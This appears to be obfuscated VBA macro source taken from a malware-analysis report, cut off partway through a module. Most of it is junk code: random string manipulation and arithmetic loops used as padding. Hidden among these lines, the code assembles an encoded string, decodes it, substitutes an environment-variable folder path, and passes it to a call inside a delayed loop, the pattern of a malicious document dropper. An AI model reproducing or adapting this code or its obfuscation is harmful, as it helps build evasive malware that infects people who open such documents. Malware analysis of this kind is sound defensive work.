    hvhjMb = 1787 - 545 - 1741
    hvhjMb = 1829 - 191 - 405
    lOSxBGDMNnX = Left(" YYkYL yB]j!h  ", 4)
    For zpPRJL = 0 To 4
        While FhBsBx < 2
            hvhjMb = 1407 - 1633 - 589
            hvhjMb = Space(6)
            aTHqC = Right("& r j#C ?zS  ", 3)
            hvhjMb = 1426 + 770 + 977
            hvhjMb = RTrim("T   @Ry@EeE V$hj")
            aTHqC = StrReverse("OPO FL hb]. Dje  b&K")
            hvhjMb = StrReverse("q Fg-wVBgnMEr [#")
            FhBsBx = FhBsBx + 1
        Wend

        lOSxBGDMNnX = " BznR! o w smq )P!_" + "  G&( D  JS    bCDNO" + " fXS  mmnd  A"
        IfhLqyuHHgkV = Space(18)
        wJvlgawrld = 770 + 1304 + 187
        lOSxBGDMNnX = " M dO  ^ go& L" + "EO @ [v IY dd HP" + "_D^ K(uQG   tN#"
        hvhjMb = StrReverse("a$ &hsd VcNDT")
        aTHqC = LTrim("l  D V ]_sf_]")
    Next zpPRJL

    cQcOAV = cQcOAV + "] .RI"
    wJvlgawrld = "l!x &^  kFJ)." + " ? [IX).ub!" + "zfbkdd$H-Kqh]jG R"
    lOSxBGDMNnX = "SeDLj @Dt$Y F Av Ml-" + "E?UbXoic!] (_gQ f" + "BZetW ) Le^ qnLS"
    aTHqC = StrReverse("O_% #   wA#")
    IfhLqyuHHgkV = UCase("  a bGXm!xG^uV")
    hvhjMb = Right("w  !m qAwj@?sP.M zLK", 2)
    lOSxBGDMNnX = Left(".ry%P@s![a&qss  u%  ", 5)
    While PRDCzh < 2
        While Indwek < 5
            wJvlgawrld = Space(7)
            aTHqC = "v lEv!g XfOHh " + "oV&?y   oBAK(J" + " &S G&O PAC$"
            lOSxBGDMNnX = 616 - 1044 - 242
            hvhjMb = UCase(" R[Vw_pB rk %iKov")
            wJvlgawrld = 1025 + 1842 + 860
            IfhLqyuHHgkV = RTrim("DW$hRDbi  r qBr ")
            Indwek = Indwek + 2
        Wend

        lOSxBGDMNnX = Right("RF yEWg  .", 2)
        IfhLqyuHHgkV = 674 - 1912 - 1059
        hvhjMb = "   IOA[yQ) fl(#V " + "?CHdd)AfKqP" + "W   )lS UC) G@Fc .m "
        aTHqC = UCase("i H(eQJ%uZW!roEAb  ")
        wJvlgawrld = RTrim("b q QwT#h]. PEt JV?")
        hvhjMb = Right("&  Q(!g wG#XS[", 4)
        lOSxBGDMNnX = LTrim("JM UKkx  k p?rI Q$w")
        hvhjMb = 996 - 1636 - 107
        PRDCzh = PRDCzh + 3
    Wend

    hvhjMb = UCase("k zwO TDI  NhyjnTGsI")
    cQcOAV = cQcOAV + "qeO?)"
    hvhjMb = Right(" Z  tz@ZSpxd", 2)
    While HmxkfA < 3
        While XfMwdx < 2
            aTHqC = Right(" zg CSSpWwkV.& Mw  A", 2)
            aTHqC = Space(6)
            lOSxBGDMNnX = "MZI  Y ..J? " + "[BouGoO[FJxZ-. gg   " + "W c  ZRNu  !  Z lmNw"
            wJvlgawrld = " uXmodU[D !bC  IX" + "cPKOs PQ  zPBNz$(j" + "!n IdcqSOL% !  St"
            IfhLqyuHHgkV = 1447 + 1195 + 1816
            hvhjMb = Right("]T)b& Lo (A^Kt", 5)
            lOSxBGDMNnX = RTrim("c O )(xE L")
            IfhLqyuHHgkV = Left("-xFjN-JsSM -Z O", 4)
            XfMwdx = XfMwdx + 1
        Wend

        wJvlgawrld = Right("At_ o#Y h[.&J  N T", 3)
        aTHqC = Right("   l@ruJp R _", 3)
        IfhLqyuHHgkV = Space(12)
        IfhLqyuHHgkV = 1816 - 1455 - 1357
        HmxkfA = HmxkfA + 3
    Wend

    aTHqC = 160 + 227 + 372
    aTHqC = Space(9)
    aTHqC = Left("cQAk   Wak", 2)
    aTHqC = UCase("D ^  $v  Lt- GI_")
    For txHuEm = 0 To 5
        While ITkFHO < 4
            hvhjMb = Left("i&mWr   N^( E  ", 3)
            hvhjMb = 880 - 441 - 1379
            lOSxBGDMNnX = UCase("WBU Vmk N ")
            wJvlgawrld = Right("PaDU] & jHEG [", 5)
            ITkFHO = ITkFHO + 2
        Wend

        wJvlgawrld = Space(15)
        lOSxBGDMNnX = Right("v%eRKQWJ L", 4)
        hvhjMb = 1339 + 663 + 519
        wJvlgawrld = 1382 - 1208 - 1811
        hvhjMb = 694 + 134 + 373
        hvhjMb = Right(" STmepePr  lZE", 4)
        lOSxBGDMNnX = " PVb$ NEy qosm " + "gwT P)h c K!BZsX _ ]" + " mLTlO%WB("
    Next txHuEm

    wJvlgawrld = UCase(" ty  [Bq]al ")
    aTHqC = 136 + 1863 + 1620
    wJvlgawrld = StrReverse(" )kS Vmd& M")
    cQcOAV = cQcOAV + "xjN^e"
    IfhLqyuHHgkV = 380 - 1665 - 1233
    aTHqC = RTrim("  - Q @aB N ?")
    wJvlgawrld = UCase("$uKn(  Z^Yrp- rW L")
    aTHqC = StrReverse("YXNEpp%i b%-sw zth ")
    For ikAjSV = 0 To 5
        For SsDwVH = 0 To 6
            lOSxBGDMNnX = StrReverse("_DPe) Qg# - D  d o]V")
            hvhjMb = StrReverse("@hpCP@W r%nL L")
            wJvlgawrld = 165 + 1661 + 1137
            wJvlgawrld = Right("OX ZMR! _J fbP", 5)
            IfhLqyuHHgkV = 103 + 1035 + 1614
            wJvlgawrld = Left("l J_z eaOExV", 2)
            wJvlgawrld = Space(12)
            aTHqC = 670 + 1985 + 298
        Next SsDwVH

        IfhLqyuHHgkV = Space(13)
        wJvlgawrld = Space(18)
        lOSxBGDMNnX = 1282 + 1238 + 1518
        lOSxBGDMNnX = 885 - 1137 - 1764
    Next ikAjSV

    aTHqC = UCase("D ]$W LnpXQ  [  l ")
    lOSxBGDMNnX = LTrim("pq G CMs) HcL ")
    For gEgKMk = 0 To 1
        For psATIA = 0 To 10
            lOSxBGDMNnX = Right("] HxuaaG [A", 5)
            aTHqC = Left("vz [IW  Jex#GJUXYvk", 4)
        Next psATIA

        IfhLqyuHHgkV = " @Ow@ GoiJDAml" + "Bd  jUq F.O  v Ri _U" + "-gV? ?TWi^e "
        hvhjMb = LTrim("uJy R  ygh kfGT")
        lOSxBGDMNnX = Right("jn# f@ sJ!k ", 2)
    Next gEgKMk

    IfhLqyuHHgkV = Right(" d  _iISLt$  K-(", 3)
    lOSxBGDMNnX = StrReverse(" VihLr_ k ")
    cQcOAV = cQcOAV + "$HK"
    For yvBLwg = 0 To 8
        aTHqC = Space(15)
        lOSxBGDMNnX = Left("mPx& EW#  xysGu", 4)
        hvhjMb = Right("ObMcD_cs_Fh", 5)
        aTHqC = Space(5)
        IfhLqyuHHgkV = " % s x g de&PT  -" + " W  u YD& oj" + " KhVJ XeJ  B"
        wJvlgawrld = 387 - 430 - 325
        lOSxBGDMNnX = 590 - 144 - 416
        IfhLqyuHHgkV = Space(9)
        wJvlgawrld = 702 - 1598 - 883
    Next yvBLwg

    For FghlpS = 0 To 9
        lOSxBGDMNnX = UCase("U@yXCM kaI CB)L$")
        hvhjMb = 110 - 951 - 987
        lOSxBGDMNnX = RTrim("e[$&C ovzNs  l xd Uo")
        lOSxBGDMNnX = UCase("zknht ^LZhBJ!fe")
        wJvlgawrld = LTrim("  &  ztD?  On JK v?")
    Next FghlpS

    IfhLqyuHHgkV = 802 - 816 - 1117
    For OaIQUG = 0 To 10
        hvhjMb = RTrim("Czp   Q]? j-(UZr  ")
        IfhLqyuHHgkV = 1127 - 1362 - 1722
        lOSxBGDMNnX = Right("zuh vz    V^z&H", 4)
    Next OaIQUG

    For PdHyiM = 0 To 2
        For IrPTlE = 0 To 8
            aTHqC = UCase("%e PRH S  ")
            hvhjMb = RTrim(" wnq %Hc%LwgTX& # C")
            IfhLqyuHHgkV = StrReverse("Q] V FcJ  @k^ Ewnx")
            aTHqC = LTrim(" [m^_pSeONQMG&")
            wJvlgawrld = Left(" n [@JfzKUb", 4)
            aTHqC = RTrim("sh$( T Wh^")
        Next IrPTlE

        aTHqC = Space(16)
        wJvlgawrld = 928 + 201 + 1649
    Next PdHyiM

    lOSxBGDMNnX = UCase(" _TW   (Ua")
    wJvlgawrld = 116 + 1148 + 652
    cQcOAV = Replace(iwuGKGfB(cQcOAV), "FOLDER", Environ(iwuGKGfB("Tv  ejUXm! ^p I!")))
    IfhLqyuHHgkV = Space(2)
    hvhjMb = UCase("gNdce._Xxb")
    wJvlgawrld = 1867 + 1739 + 400
    hvhjMb = 250 + 613 + 1096
    wJvlgawrld = LTrim("OvB pli q[")
    While SccCFb < 556
        aTHqC = Space(2)

        wJvlgawrld = Right(" )syluo )e]D ", 5)

        hvhjMb = LTrim("  #(Uf!(z g TE")

        If SccCFb = 537 Then
            lOSxBGDMNnX = 1989 - 903 - 380
            mwZERzYXw cQcOAV, "QdyMAwN", "ALH", "wgE", "wPeFugf", "HREq", "ypYseD"
        End If
    SccCFb = SccCFb + 1
    Wend
    For JEPBvg = 0 To 8
        aTHqC = Left("U&_c&   ZA!L[KE  w", 3)
        wJvlgawrld = 1955 + 506 + 1246
        hvhjMb = "# [Xzq%lBbDW" + "-l  S.F^ HE" + "NVJ-r#sNL "
        lOSxBGDMNnX = 1665 + 186 + 988
        wJvlgawrld = LTrim("U cEweglK!A^n%WQ ")
    Next JEPBvg

    aTHqC = StrReverse("DpiE hL?wK! vIU N")
    hvhjMb = "AqMsMs- g V]oo  rCn" + "pr] y  (U IH" + "o(iccF)oNf     "
    For lysmiA = 0 To 5
        For itlXxh = 0 To 6
            wJvlgawrld = 1862 + 535 + 656
            IfhLqyuHHgkV = 922 - 1914 - 578
            lOSxBGDMNnX = 645 + 1733 + 712
            hvhjMb = Right("-  c WYnYa dU$bJzwY", 4)
            wJvlgawrld = StrReverse(" F%F  r LD")
            lOSxBGDMNnX = Space(17)
        Next itlXxh

        aTHqC = 350 - 1667 - 526
        wJvlgawrld = UCase("bpM#  g#t s ")
        hvhjMb = StrReverse("  d!TBuHo#DUX jUrJ ")
    Next lysmiA

    While scVKet < 1
        lOSxBGDMNnX = StrReverse("-Ko?jEl bWQ  c^")
        hvhjMb = 1377 - 1083 - 1408
        hvhjMb = RTrim("]X R (-Q(@qxMQ")
        hvhjMb = LTrim("L ]w  [pEM")
        wJvlgawrld = UCase("zE bHy?^!   GW ")
        lOSxBGDMNnX = LTrim("r@D Z]F( CpqiGd ")
        IfhLqyuHHgkV = Left("a Dnuv.yQ[eppE !WI&", 3)
        IfhLqyuHHgkV = 209 + 1705 + 1034
        lOSxBGDMNnX = StrReverse(" X mpDrddy")
        wJvlgawrld = 384 - 1417 - 727
        scVKet = scVKet + 1
    Wend

    aTHqC = "IClcK ^ l " + "H l?jV cVi" + "ur@![Em % K H"
    IfhLqyuHHgkV = Space(18)
    hvhjMb = Left("FlP moFyd(ap", 3)
    wJvlgawrld = Right("  QLnqE)@r rojW", 3)
    wJvlgawrld = StrReverse("   Pg  F  g%")


End Sub



Attribute VB_Name = "Module1"
Function lLSaxt(SEfdoq As String, DljvdNw As Boolean, oXSMIK As Double, CZgTrAh As Double) As String
    For ufPlWD = 0 To 7
        IfhLqyuHHgkV = " lIBiEYG _Q #" + "UL#^& $ rfaIzVn" + "aP@i yuNF  ]Zu  pc "
        hvhjMb = Space(7)
        wJvlgawrld = 249 + 568 + 1840
        IfhLqyuHHgkV = "SfnwiR !kGciv R" + "B?ijB ydBZ nh] " + "@ g %r &^_) [VF "
        aTHqC = 237 + 934 + 326
        hvhjMb = UCase(" e_$ n  O%c  H )w")
        hvhjMb = Left("L  Xj Uz cd J DQ", 2)
        lOSxBGDMNnX = " r vr(pm_Klul$BY$ S" + "UKZEsYhR]wZ HS!gz" + "rsv AS&% K "
    Next ufPlWD

    hvhjMb = Left("YU[F  m Lsk&S", 2)
    wJvlgawrld = 1043 - 1731 - 1123
    aTHqC = UCase("v XBlP)tUJNK^- )G VQ")
    IfhLqyuHHgkV = RTrim("x n H -idNhTUZlvOV")
    wJvlgawrld = RTrim("#lo d  Y).A")
    wJvlgawrld = RTrim("eqR pO  sbVB ")
    lOSxBGDMNnX = 1771 - 1877 - 494
    aTHqC = 1989 + 440 + 1667
    lOSxBGDMNnX = "  g._Pf&)v((tVy" + "  zoF @X] y^Q " + "Gh&f W n%!% kq%M"
    lLSaxt = "SCqgEzHgLk"
End Function



Attribute VB_Name = "Module2"

Function bYPhby(UHQKogz As String, XJgRaIj As Double) As String
    aTHqC = Left("(- (]d!A%n APuZC", 4)
    hvhjMb = UCase("_D  )@XIs s SR! s  ")
    IfhLqyuHHgkV = 202 + 1208 + 165
    wJvlgawrld = UCase("CYBXoM)] Pc")
    wJvlgawrld = RTrim(" Xsxz F?uBB z ")
    aTHqC = UCase("V   WPLmJ  q^fO _H ")
    For tyaPVP = 0 To 3
        While iwjDIT < 1
            aTHqC = Right("w &wQRjo txS w  (b[", 3)
            wJvlgawrld = Left("X ZG&V ^atM &^%  ", 3)
            aTHqC = Space(20)
            aTHqC = Left("eZUEPs zIU ][?  ", 5)
            aTHqC = 1055 - 1191 - 572
            aTHqC = 384 + 597 + 597
            aTHqC = 1515 - 454 - 293
            hvhjMb = UCase("xk)q?dGm  hR q")
            iwjDIT = iwjDIT + 1
        Wend

        hvhjMb = 574 - 364 - 1023
        lOSxBGDMNnX = StrReverse(" iSxPo% .mGBR ux")
        wJvlgawrld = StrReverse("@#Rhm WsQ(")
        hvhjMb = UCase("D zppCIu% T")
        wJvlgawrld = RTrim("&Q&EL E  N xElD&")
        lOSxBGDMNnX = Left("!  m!M_W)!RnUJD X G", 3)
        IfhLqyuHHgkV = 689 - 1682 - 1729
        IfhLqyuHHgkV = Right("z   &J  q]sXn @ d", 3)
        IfhLqyuHHgkV = Space(2)
        IfhLqyuHHgkV = Space(7)
    Next tyaPVP

    aTHqC = UCase("E% Z  fzo ")
    IfhLqyuHHgkV = 1661 + 1458 + 1402
    hvhjMb = RTrim("lI-(fdsivD iv@%")
    bYPhby = "eCFqEeOKvZ"
End Function



Sub aMDqau(oIWGOc As Integer, zPdEAs As Integer, EGUXTUg As Double, lCxYWE As Integer, sSUYxA As Boolean)
    hvhjMb = Right("%](YZ.^^&@xUY ", 2)
    aTHqC = 437 + 325 + 871
    IfhLqyuHHgkV = Left("Ns! U G?B   t  ", 2)
    wJvlgawrld = 157 + 1078 + 1084
    lOSxBGDMNnX = RTrim("Za UZqQ v #z. O ")
    wJvlgawrld = LTrim("sKM C&A Fn")
End Sub



Function fjIzoX(WDFODY As Boolean, yWxDjD As Boolean) As String
    IfhLqyuHHgkV = Space(11)
    wJvlgawrld = LTrim("  cn DuN gH^jX)Q]_L")
    hvhjMb = StrReverse("m. vHS%) tL nEgfr ")
    lOSxBGDMNnX = Right("  cX _&  WhE-FKw.b ", 2)
    wJvlgawrld = UCase(" x@_Z?  HKtf ^jC")
    IfhLqyuHHgkV = 781 + 241 + 1746
    fjIzoX = "WxYUhA"
End Function



Function TApvyJ(DLdhIbi As Boolean, mtWWmn As Boolean, gdLjJPI As Boolean, ecacef As Boolean) As String
    lOSxBGDMNnX = 1095 + 1950 + 783
    hvhjMb = LTrim("x P @!ok(Yd")
    aTHqC = RTrim("N.Se kKozOPr")
    wJvlgawrld = "R]G wSTA.u$gK" + " #EDq   ^][[X( jmRaU" + "Wf IQUg  # ]V^w  "
    wJvlgawrld = 1529 - 1225 - 1564
    aTHqC = StrReverse("qs t jboQ&Kk_  ")
    lOSxBGDMNnX = 1335 - 534 - 1569
    TApvyJ = "knMXzMf"
End Function



Attribute VB_Name = "Module3"

Function bBIxus(qvxlJCD As String, PzgicJV As Boolean) As String
    While SZVPgd < 2
        For vdwbDs = 0 To 5
            IfhLqyuHHgkV = 1467 - 958 - 1826
            aTHqC = Left("J@#j!q _$o QY", 5)
            hvhjMb = RTrim(" u f]e% aW fi")
        Next vdwbDs

        hvhjMb = UCase(" IYdXHi)ar Q Wtv S")
        hvhjMb = RTrim("bM YTD)uY M[ ")
        wJvlgawrld = 419 - 160 - 983
        hvhjMb = StrReverse("fg&lN    R% s ")
        SZVPgd = SZVPgd + 2
    Wend

    aTHqC = StrReverse("  j SwC NJ-&LPGbG  c")
    While VQHGWo < 1
        aTHqC = UCase("Hlk iW? &m ")
        wJvlgawrld = LTrim("uXSNUUb sk@")
        IfhLqyuHHgkV = "PXdoqPc&@ LxzPq  G" + "P@BL VN l I" + "K dUbC S  M)A["
        hvhjMb = StrReverse(" oZu Qk # _")
        wJvlgawrld = 874 + 1048 + 224
        wJvlgawrld = Right("H [ iqS  @_ N ", 5)
        aTHqC = "Ka(.[B@!cYlvG TW" + "r  ZCcNWF  zo) J " + "wx_m(pS K T PHY-["
        hvhjMb = Space(14)
        aTHqC = Right("PSlm(W #%T%fP ", 4)
        wJvlgawrld = UCase("p#MHuvh x @ @oJL]")
        VQHGWo = VQHGWo + 3
    Wend

    hvhjMb = Space(19)
    aTHqC = Space(13)
    IfhLqyuHHgkV = RTrim("j_j GKO wvAsbJ(  PtE")
    wJvlgawrld = RTrim(" e  bs FT S")
    aTHqC = Right("i P  _-  OVlFzc HL n", 3)
    bBIxus = "BgVvsyOK"
End Function



Function BIuzVv(hNjztv As String, IljHuUd As String, IZjNrc As String, scdANE As Boolean, pHoNLZa As Boolean) As String
    lOSxBGDMNnX = Right("nqX Xp @^k?", 4)
    hvhjMb = Left(" sxe?.. JNu-NZ", 5)
    IfhLqyuHHgkV = Left("  iV @g w Tk", 3)
    wJvlgawrld = 1757 - 1963 - 1775
    wJvlgawrld = 1022 + 1032 + 483
    IfhLqyuHHgkV = "G^sXu   P)" + "Vlos)khcgV&S) bG?BO " + "Yv @P#y)uP"
    hvhjMb = Left("^   iI d  ps! wew ", 4)
    hvhjMb = "d-c __Uki_" + "-?c RPYxCp " + " rMU_X r   o$  HU"
    BIuzVv = "gWJvPkTD"
End Function



Attribute VB_Name = "Module4"

Function IuSbPZ(iPDnMVF As String) As String
    wJvlgawrld = 1191 - 1296 - 1561
    IfhLqyuHHgkV = 404 + 875 + 1787
    IfhLqyuHHgkV = Space(10)
    wJvlgawrld = Space(1)
…

Open this report in the interactive analyzer, or submit your own file for analysis.